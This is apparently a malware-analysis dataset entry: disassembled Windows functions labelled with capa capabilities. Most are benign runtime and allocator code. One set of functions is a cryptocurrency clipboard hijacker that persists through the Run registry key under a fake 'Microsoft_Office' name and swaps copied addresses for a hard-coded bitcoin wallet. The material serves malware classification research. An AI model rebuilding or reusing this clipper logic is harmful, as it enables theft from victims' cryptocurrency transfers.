joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140119a10
Capabilities:
Get system information on windows

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x58
mov ebp, edx
mov r14, rcx
mov dword [rcx + 0x10], edx
test edx, edx
je 0x140119a4b
mov esi, ebp
mov rbx, rsi
shl rbx, 5
mov rdi, qword [0x140d99558]
test rdi, rdi
je 0x140119a57
shl rsi, 4
cmp rbx, rdi
jbe 0x140119a7a
jmp 0x140119b00
mov qword [r14], 0
jmp 0x140119b48
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edi, dword [rsp + 0x2c]
mov qword [0x140d99558], rdi
shl rsi, 4
cmp rbx, rdi
ja 0x140119b00
test rdi, rdi
jne 0x140119a95
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edi, dword [rsp + 0x2c]
mov qword [0x140d99558], rdi
cmp rsi, rdi
ja 0x140119b5a
mov rax, rdi
or rax, rsi
shr rax, 0x20
je 0x140119ab4
mov rax, rdi
xor edx, edx
div rsi
jmp 0x140119aba
mov eax, edi
xor edx, edx
div esi
bsr rcx, rax
shl rsi, cl
mov eax, dword [r14 + 0x10]
shl eax, cl
mov dword [r14 + 0x10], eax
shl rax, 4
cmp rsi, rax
jne 0x140119b7e
lea r15, [rsi + rsi]
test rdi, rdi
jne 0x140119af7
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edi, dword [rsp + 0x2c]
mov qword [0x140d99558], rdi
cmp r15, rdi
jbe 0x140119b9e
test rdi, rdi
jne 0x140119b1b
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edi, dword [rsp + 0x2c]
mov qword [0x140d99558], rdi
mov rcx, rsi
mov rdx, rdi
call fcn.14011adb0
mov rdi, rax
xor ecx, ecx
mov rdx, rax
mov r8d, 0x3000
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x140119bbe
mov qword [r14], rax
test ebp, ebp
setne al
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
mov qword [rsp + 0x20], 0
lea rcx, str....._sanitizer_common_sanitizer_common.h
lea r8, str.__x_______0U__
mov edx, 0x191
xor r9d, r9d
call fcn.1400c31d0
mov qword [rsp + 0x20], rax
lea rcx, str....._sanitizer_common_sanitizer_dense_map.h
lea r8, str.__Size______sizeof_BucketT___NumBuckets__
mov edx, 0x2af
mov r9, rsi
call fcn.1400c31d0
mov qword [rsp + 0x20], rdi
lea rcx, str....._sanitizer_common_sanitizer_dense_map.h
lea r8, str.__Size__2_______GetPageSizeCached____
mov edx, 0x2b0
mov r9, r15
call fcn.1400c31d0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsp + 0x20], 0
lea rdx, str.DenseMap
lea r8, str.allocate
mov rcx, rdi
mov r9d, eax
call fcn.1400efa80
int3
Function at 0x140119bf0
Capabilities:
Get system information on windows

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x58
mov rbx, rcx
mov r14d, dword [rcx + 0x10]
mov rsi, qword [rcx]
cmp edx, 0x41
mov r9d, 0x40
cmovae r9d, edx
lea eax, [r9 - 1]
test r9d, eax
jne 0x140119c1e
mov rdx, r9
jmp 0x140119c50
bsr rax, r9
xor rax, 0x3f
mov ecx, eax
neg cl
mov edi, 1
mov edx, 1
shl rdx, cl
cmp rdx, r9
jbe 0x140119d1f
xor al, 0x3f
mov ecx, eax
shl rdi, cl
cmp rdi, r9
jae 0x140119d3c
mov rcx, rbx
call fcn.140119a10
mov rax, qword [rbx]
test rax, rax
je 0x140119cfb
test rsi, rsi
je 0x140119cb3
shl r14, 4
lea r8, [rsi + r14]
mov rcx, rbx
mov rdx, rsi
call fcn.140112a30
mov rdx, qword [0x140d99558]
test rdx, rdx
jne 0x140119c9e
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [rsp + 0x2c]
mov qword [0x140d99558], rdx
mov rcx, r14
call fcn.14011adb0
mov rcx, rsi
mov rdx, rax
call fcn.1400d8c00
jmp 0x140119cf1
mov qword [rbx + 8], 0
mov ecx, dword [rbx + 0x10]
lea r9d, [rcx - 1]
and r9d, ecx
jne 0x140119d59
test rcx, rcx
je 0x140119cf1
shl rcx, 4
xor edx, edx
nop word cs:[rax + rax]
mov qword [rax + rdx], 0xffffffffffffffff
add rdx, 0x10
cmp rcx, rdx
jne 0x140119ce0
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
ret
mov qword [rsp + 0x20], 0
lea rcx, str....._sanitizer_common_sanitizer_dense_map.h
lea r8, str.__Buckets______0_
mov edx, 0x289
xor r9d, r9d
call fcn.1400c31d0
mov qword [rsp + 0x20], rdx
lea rcx, str....._sanitizer_common_sanitizer_common.h
lea r8, str.__size________1ULL_____up__1____
mov edx, 0x1b9
call fcn.1400c31d0
mov qword [rsp + 0x20], rdi
lea rcx, str....._sanitizer_common_sanitizer_common.h
lea r8, str.__size________1ULL____up___
mov edx, 0x1ba
call fcn.1400c31d0
mov qword [rsp + 0x20], 0
lea rcx, str....._sanitizer_common_sanitizer_dense_map.h
lea r8, str.___getNumBuckets_____getNumBuckets_____1________0__
mov edx, 0x10f
call fcn.1400c31d0
int3
Function at 0x14011adb0
Capabilities:
Print debug messages
Write file on windows

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x30
lea rax, [rdx - 1]
test rdx, rax
jne 0x14011add9
lea rax, [rcx + rdx]
add rax, 0xffffffffffffffff
neg rdx
and rdx, rax
mov rax, rdx
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov rsi, qword [0x14012cde0]
mov al, 1
xchg byte [rsi], al
test al, al
jne 0x14011ae6f
lea rcx, [0x14012cde0]
call fcn.1400f94b0
mov rcx, qword [0x14012cde8]
cmp rcx, 0xffffffffffffffff
je 0x14011aeb6
lea rax, [rcx - 1]
cmp rax, 1
ja 0x14011ae2f
xor eax, eax
cmp rcx, 1
sete al
or eax, 0xfffffff4
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
test rax, rax
je 0x14011ae5a
mov qword [rsp + 0x20], 0
lea rdx, str.IsPowerOfTwo_boundary__n
lea r9, [rsp + 0x2c]
mov r8d, 0x17
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14011ae67
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.IsPowerOfTwo_boundary__n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov byte [rsi], 0
call fcn.1400d6f10
xor edi, edi
mov rbx, qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x14011ae83
add edi, 1
cmp edi, 0x63
ja 0x14011aea0
pause
cmp byte [rsi], 0
jne 0x14011ae80
jmp 0x14011aea9
xor ecx, ecx
call rbx
cmp byte [rsi], 0
jne 0x14011ae80
mov al, 1
xchg byte [rsi], al
test al, al
jne 0x14011ae80
jmp 0x14011adec
mov qword [rsp + 0x20], 0
lea rcx, str.gotsan.cpp
lea r8, str.__fd_____fd_t__1_______0_
mov edx, 0x24a7
xor r9d, r9d
call fcn.1400c31d0
int3

Function at 0x14011e300
Capabilities:
Get system information on windows

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x58
mov rdi, rdx
mov rsi, rcx
mov al, 1
xchg byte [rcx], al
test al, al
jne 0x14011e37e
mov rax, qword [rsi + rdi*8 + 8]
test rax, rax
jne 0x14011e371
mov rdx, qword [0x140d99558]
test rdx, rdx
jne 0x14011e343
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [rsp + 0x2c]
mov qword [0x140d99558], rdx
mov ecx, 0x100000
call fcn.14011adb0
mov rbx, rax
xor ecx, ecx
mov rdx, rax
mov r8d, 0x3000
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x14011e3ac
mov qword [rsi + rdi*8 + 8], rax
mov byte [rsi], 0
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
ret
xor ebx, ebx
mov r14, qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x14011e38c
add ebx, 1
cmp ebx, 0x63
ja 0x14011e395
pause
jmp 0x14011e39a
xor ecx, ecx
call r14
cmp byte [rsi], 0
jne 0x14011e389
mov al, 1
xchg byte [rsi], al
test al, al
jne 0x14011e389
jmp 0x14011e317
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsp + 0x20], 0
lea rdx, str.TwoLevelMap
lea r8, str.allocate
mov rcx, rbx
mov r9d, eax
call fcn.1400efa80
int3
Function at 0x14011e3e0
Capabilities:
Get system information on windows

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x58
mov rdi, rdx
mov rsi, rcx
mov al, 1
xchg byte [rcx], al
test al, al
jne 0x14011e45e
mov rax, qword [rsi + rdi*8 + 8]
test rax, rax
jne 0x14011e451
mov rdx, qword [0x140d99558]
test rdx, rdx
jne 0x14011e423
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [rsp + 0x2c]
mov qword [0x140d99558], rdx
mov ecx, 0x40000
call fcn.14011adb0
mov rbx, rax
xor ecx, ecx
mov rdx, rax
mov r8d, 0x3000
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x14011e48c
mov qword [rsi + rdi*8 + 8], rax
mov byte [rsi], 0
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
ret
xor ebx, ebx
mov r14, qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x14011e46c
add ebx, 1
cmp ebx, 0x63
ja 0x14011e475
pause
jmp 0x14011e47a
xor ecx, ecx
call r14
cmp byte [rsi], 0
jne 0x14011e469
mov al, 1
xchg byte [rsi], al
test al, al
jne 0x14011e469
jmp 0x14011e3f7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsp + 0x20], 0
lea rdx, str.TwoLevelMap
lea r8, str.allocate
mov rcx, rbx
mov r9d, eax
call fcn.1400efa80
int3

Function at 0x14011e4c0
Capabilities:
Get system information on windows

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x58
mov rdi, rdx
mov rsi, rcx
mov al, 1
xchg byte [rcx], al
test al, al
jne 0x14011e53e
mov rax, qword [rsi + rdi*8 + 8]
test rax, rax
jne 0x14011e531
mov rdx, qword [0x140d99558]
test rdx, rdx
jne 0x14011e503
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [rsp + 0x2c]
mov qword [0x140d99558], rdx
mov ecx, 0x1000
call fcn.14011adb0
mov rbx, rax
xor ecx, ecx
mov rdx, rax
mov r8d, 0x3000
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x14011e56c
mov qword [rsi + rdi*8 + 8], rax
mov byte [rsi], 0
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
ret
xor ebx, ebx
mov r14, qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x14011e54c
add ebx, 1
cmp ebx, 0x63
ja 0x14011e555
pause
jmp 0x14011e55a
xor ecx, ecx
call r14
cmp byte [rsi], 0
jne 0x14011e549
mov al, 1
xchg byte [rsi], al
test al, al
jne 0x14011e549
jmp 0x14011e4d7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsp + 0x20], 0
lea rdx, str.TwoLevelMap
lea r8, str.allocate
mov rcx, rbx
mov r9d, eax
call fcn.1400efa80
int3
Function at 0x14011e790
Capabilities:
Get system information on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x58
mov rdi, rdx
mov r14, rcx
mov eax, dword [rdx + 0x400000]
mov qword [rcx], rax
xor esi, esi
lea r15, [rsp + 0x28]
mov r13, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ebx, ebx
jmp 0x14011e7ea
mov ecx, 0x100000
call fcn.14011adb0
add rsi, rax
add rbx, 1
cmp rbx, 0x8000
je 0x14011e816
mov rax, qword [rdi + rbx*8 + 0x400010]
test rax, rax
je 0x14011e7dd
mov rdx, qword [0x140d99558]
test rdx, rdx
jne 0x14011e7d0
mov rcx, r15
call r13
mov edx, dword [rsp + 0x2c]
mov qword [0x140d99558], rdx
jmp 0x14011e7d0
mov r15, qword [0x140e038a8]
xor edi, edi
lea rbx, [0x140dc3898]
lea r12, [rsp + 0x28]
xor ebp, ebp
jmp 0x14011e84a
mov ecx, 0x40000
call fcn.14011adb0
add rdi, rax
add rbp, 1
cmp rbp, 0x8000
je 0x14011e873
mov rax, qword [rbx + rbp*8 + 8]
test rax, rax
je 0x14011e83d
mov rdx, qword [0x140d99558]
test rdx, rdx
jne 0x14011e830
mov rcx, r12
call r13
mov edx, dword [rsp + 0x2c]
mov qword [0x140d99558], rdx
jmp 0x14011e830
add rsi, r15
lea rax, [rdi + rsi]
add rax, 0x10010
mov qword [r14 + 8], rax
mov rax, r14
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x1400047e4
Capabilities:
Identify system language via api

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x60
mov rax, qword [0x1400128b8]
xor rax, rsp
mov qword [rsp + 0x58], rax
lea r14, str.en_US
mov rsi, rcx
mov qword [rcx], r14
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
mov word [rsp + 0x30], ax
mov ebx, 0x10
mov r9d, ebx
lea rdx, [0x140008110]
lea rax, [0x140004df0]
mov r8d, 0x1b3
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x20], rax
call sub.api_ms_win_crt_private_l1_1_0.dll__o_bsearch
xor ebp, ebp
test rax, rax
jne 0x14000485f
mov ecx, 0x57
call qword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x1400048e5
cmp dword [rax + 0xc], 0x7c
jne 0x14000486c
cmp word [rax + 8], 0x7f
jne 0x14000484f
mov r8, qword [rax]
or rcx, 0xffffffffffffffff
inc rcx
cmp word [r8 + rcx*2], bp
jne 0x140004873
inc rcx
cmp rcx, 0x7ffffffe
jbe 0x140004890
mov word [rsp + 0x38], bp
jmp 0x1400048d7
lea rax, [rsp + 0x38]
mov r9d, ebp
sub r8, rax
lea rdx, [rsp + 0x38]
lea rax, [rbx - 0x10]
add rax, rcx
je 0x1400048c0
movzx eax, word [r8 + rdx]
test ax, ax
je 0x1400048c0
mov word [rdx], ax
add rdx, 2
sub rbx, 1
jne 0x1400048a0
test rbx, rbx
jne 0x1400048cf
sub rdx, 2
mov r9d, 0x8007007a
mov word [rdx], bp
test r9d, r9d
jns 0x1400048e1
mov ecx, 0x7a
jmp 0x140004854
test ecx, ecx
jne 0x1400048f1
mov rcx, qword [rsp + 0x78]
call fcn.14000494c
jmp 0x14000492a
mov rbx, rbp
mov rdi, rbp
mov rdx, qword [rdi + r14]
lea rcx, [rsp + 0x38]
call qword [sym.imp.api_ms_win_crt_private_l1_1_0.dll__o__wcsicmp]
test eax, eax
je 0x14000491c
inc rbx
add rdi, 0x30
cmp rdi, 0x750
jb 0x1400048f7
jmp 0x14000492a
lea rax, [rbx + rbx*2]
shl rax, 4
add rax, r14
mov qword [rsi], rax
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400050e0
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret

Function at 0x140005104
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140012e60], eax
call fcn.1400056f0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140012e60], 0
jne case.default.0x14000515a
mov ecx, 1
call fcn.1400056f0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
movabs eax, dword [0xcc150eb7b816fe24]
and al, 0xdc
xchg dword [rbp - 0x1b405ccd], edi
out dx, eax
xchg r8, rax
invalid
Function at 0x1400111b8
Capabilities:
Persist via run registry key
Query or enumerate registry value
Set registry value

Disassembly:
jmp 0x140013cd0
push rbp
push rdi
sub rsp, 0x448
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0xa6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140023018]
xor rax, rbp
mov qword [rbp + 0x408], rax
lea rcx, [0x1400290fe]
call fcn.1400115f5
mov r8d, 0x104
lea rdx, [rbp + 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rax, [0x14001f5f8]
mov qword [rbp + 0x238], rax
lea r8, [rbp + 0x258]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x238]
mov rcx, qword [rbp + 0x258]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [rbp + 0x274], eax
cmp dword [rbp + 0x274], 2
jne 0x140013dd9
lea r8, [rbp + 0x258]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov dword [rsp + 0x28], 0x208
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.Microsoft_Office
mov rcx, qword [rbp + 0x258]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x258]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rbp - 0x30]
lea rdx, [0x14001eed0]
call fcn.140011505
mov rcx, qword [rbp + 0x408]
xor rcx, rbp
call fcn.1400112f3
lea rsp, [rbp + 0x418]
pop rdi
pop rbp
ret

Function at 0x1400111e5
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
jmp 0x140015010
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x118
lea rbp, [rsp + 0x20]
lea rcx, [0x1400290fe]
call fcn.1400115f5
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rcx, qword [rbp + 0x110]
call fcn.14001146a
mov rdx, rax
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140015068
call qword [sym.imp.USER32.dll_CloseClipboard]
mov rcx, qword [rbp + 0x110]
call fcn.14001146a
mov qword [rbp + 0xd8], rax
mov rcx, qword [rbp + 0x110]
call fcn.14001108c
mov qword [rbp + 0xe0], rax
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rcx, qword [rbp + 0xd8]
mov r8, rcx
mov rcx, qword [rbp + 0xe0]
mov rdx, rcx
mov rcx, rax
call fcn.1400112f8
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rdx, qword [rbp + 8]
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_CloseClipboard]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GlobalFree]
lea rsp, [rbp + 0xf8]
pop rdi
pop rbp
ret
Function at 0x140011212
Capabilities:
Open clipboard

Disassembly:
jmp 0x1400153d0
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x1400290fe]
call fcn.1400115f5
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x14001542c
mov ecx, 1
call qword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
test eax, eax
je 0x14001540f
mov byte [rbp + 0xd4], 1
jmp 0x140015416
mov byte [rbp + 0xd4], 0
movzx eax, byte [rbp + 0xd4]
mov byte [rbp + 4], al
call qword [sym.imp.USER32.dll_CloseClipboard]
movzx eax, byte [rbp + 4]
jmp 0x14001542e
xor al, al
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x140011357
Capabilities:
Terminate process

Disassembly:
jmp 0x140016fa0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140011424
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
jmp 0x1400155f0
push rbp
push rdi
sub rsp, 0x268
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x62
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140023018]
xor rax, rbp
mov qword [rbp + 0x238], rax
lea rcx, [0x1400290fe]
call fcn.1400115f5
call qword [sym.imp.KERNEL32.dll_FreeConsole]
call fcn.1400111b8
lea rdx, [0x14001f5f3]
lea rcx, [rbp + 8]
call fcn.1400112a8
nop
lea rdx, [0x14001f6a8]
lea rcx, [rbp + 0x48]
call fcn.1400112a8
nop
call fcn.140011212
movzx eax, al
test eax, eax
je 0x140015668
jmp 0x140015695
lea rdx, [0x14001f6ac]
lea rcx, [rbp + 0x1c8]
call fcn.1400112a8
nop
lea rcx, [rbp + 0x1c8]
call fcn.1400111e5
nop
lea rcx, [rbp + 0x1c8]
call fcn.140011122
xor eax, eax
cmp eax, 1
je 0x14001579d
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x140015798
mov ecx, 1
call qword [sym.imp.USER32.dll_GetClipboardData]
mov qword [rbp + 0x88], rax
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov qword [rbp + 0xa8], rax
mov rdx, qword [rbp + 0xa8]
lea rcx, [rbp + 0xc8]
call fcn.1400112a8
nop
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.USER32.dll_CloseClipboard]
lea rdx, [rbp + 8]
lea rcx, [rbp + 0xc8]
call fcn.140011366
movzx eax, al
test eax, eax
je 0x140015724
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 8]
call fcn.1400114ec
cmp qword [rbp + 0xa8], 0
jne 0x140015734
call qword [sym.imp.USER32.dll_CloseClipboard]
xor r8d, r8d
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0xc8]
call fcn.1400110dc
test rax, rax
jne 0x14001578c
lea rcx, [rbp + 0xc8]
call fcn.140011541
cmp rax, 0x19
jb 0x14001578c
lea rdx, str.bc1qre5et563wn6szq2ykshzktt2nkvm3fh4cwe4ra
lea rcx, [rbp + 0x208]
call fcn.1400112a8
nop
lea rcx, [rbp + 0x208]
call fcn.1400111e5
nop
lea rcx, [rbp + 0x208]
call fcn.140011122
nop
lea rcx, [rbp + 0xc8]
call fcn.140011122
jmp 0x140015695
lea rcx, [rbp + 0x48]
call fcn.140011122
nop
lea rcx, [rbp + 8]
call fcn.140011122
lea rcx, [rbp - 0x20]
lea rdx, [0x14001f160]
call fcn.140011505
mov rcx, qword [rbp + 0x238]
xor rcx, rbp
call fcn.1400112f3
lea rsp, [rbp + 0x248]
pop rdi
pop rbp
ret
Function at 0x14001143d
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400182f0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140018310
xor al, al
jmp 0x140018391
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140018323
xor al, al
jmp 0x140018391
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001834d
xor al, al
jmp 0x140018391
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140018361
xor al, al
jmp 0x140018391
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140018373
xor al, al
jmp 0x140018391
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001838f
xor al, al
jmp 0x140018391
mov al, 1
add rsp, 0x38
ret
Function at 0x40be40
Capabilities:
Check for time delay via gettickcount

Disassembly:
push r14
push r13
push rdi
push rsi
push rbx
sub rsp, 0x30
mov qword [rsp + 0x28], rcx
mov ebx, edx
mov rax, qword [rsp + 0x28]
mov r13d, dword [rax + 0x18]
mov rcx, qword [rsp + 0x28]
call fcn.0040c3e0
mov esi, eax
test sil, sil
jne 0x40c002
test ebx, ebx
je 0x40c002
xor rdi, rdi
test r13d, r13d
jle 0x40bf1f
call sub.kernel32.dll_GetTickCount
mov r14d, eax
test r13d, r13d
jle 0x40befe
cmp ebx, 0xffffffff
je 0x40beab
call sub.kernel32.dll_GetTickCount
sub eax, r14d
cmp eax, ebx
jb 0x40beab
xor rsi, rsi
jmp 0x40c002
mov rax, qword [rsp + 0x28]
cmp dword [rax], 1
jg 0x40befe
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0
jne 0x40bef0
xor eax, eax
mov ecx, 1
mov rdx, qword [rsp + 0x28]
lock cmpxchg dword [rdx], ecx
test eax, eax
jne 0x40bef0
call sub.kernel32.dll_GetCurrentThreadId
mov rcx, qword [rsp + 0x28]
mov dword [rcx + 8], eax
mov dword [rcx + 4], 1
mov sil, 1
jmp 0x40c002
call fcn.0040c570
sub r13d, 1
test r13d, r13d
jg 0x40be92
nop
cmp ebx, 0xffffffff
je 0x40bf1f
call sub.kernel32.dll_GetTickCount
mov ecx, eax
sub ecx, r14d
cmp ecx, ebx
jb 0x40bf1a
xor rsi, rsi
jmp 0x40c002
sub eax, r14d
sub ebx, eax
mov rax, qword [rsp + 0x28]
mov ecx, dword [rax]
test ecx, ecx
je 0x40be5b
mov edx, ecx
add edx, 2
mov eax, ecx
mov r8, qword [rsp + 0x28]
lock cmpxchg dword [r8], edx
cmp eax, ecx
jne 0x40bf1f
nop
call sub.kernel32.dll_GetTickCount
mov r14d, eax
mov rcx, qword [rsp + 0x28]
call fcn.0040c0b0
xor rcx, rcx
mov rdx, rax
mov r8d, ebx
mov rax, qword [0x00563990]
call qword [rax + 0x20]
test eax, eax
sete sil
cmp ebx, 0xffffffff
je 0x40bf8c
call sub.kernel32.dll_GetTickCount
mov ecx, eax
sub ecx, r14d
cmp ecx, ebx
jae 0x40bf89
sub eax, r14d
sub ebx, eax
jmp 0x40bf8c
xor rbx, rbx
test sil, sil
je 0x40bfc0
mov rax, qword [rsp + 0x28]
mov ecx, dword [rax]
mov eax, ecx
test eax, 1
jne 0x40bfbd
mov edx, ecx
sub edx, 2
or edx, 1
mov eax, ecx
mov r8, qword [rsp + 0x28]
lock cmpxchg dword [r8], edx
cmp eax, ecx
jne 0x40bf91
mov dil, 1
nop
jmp 0x40bfdf
mov rax, qword [rsp + 0x28]
mov ecx, dword [rax]
mov edx, ecx
sub edx, 2
mov eax, ecx
mov r8, qword [rsp + 0x28]
lock cmpxchg dword [r8], edx
cmp eax, ecx
jne 0x40bfc0
mov dil, 1
test dil, dil
je 0x40bf44
nop
test sil, sil
je 0x40c002
call sub.kernel32.dll_GetCurrentThreadId
mov rcx, qword [rsp + 0x28]
mov dword [rcx + 8], eax
mov dword [rcx + 4], 1
mov eax, esi
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop r13
pop r14
ret